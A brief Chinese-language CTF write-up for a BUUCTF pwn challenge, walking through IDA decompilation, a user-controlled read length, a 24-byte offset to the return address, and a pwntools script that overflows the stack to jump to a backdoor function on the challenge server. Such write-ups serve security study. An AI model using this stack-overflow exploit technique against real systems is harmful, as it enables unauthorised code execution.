话不多说,直接上题(BUUCTF)
放入 64 位 IDA 中反编译
注意看 read 函数的第三个参数,它决定我们输入的长度,而这个地址是由 scan 决定的
也就是说长度是我们可控制的
看内存可以看到离 ret 差 24 个字节
dq 占 8 个字节
找到后门函数
如果看不到地址往前拉一下,Star 就是起始地址
构造 payload
from pwn import *
p = remote('node5.buuoj.cn',27664)
payload = b'a' * 24 + p64(0x04006E6)
p.recv()
p.sendline('100')
p.recv()
p.sendline(payload)
p.interactive()
成功拿到 flag
© 版权声明
THE END
暂无评论内容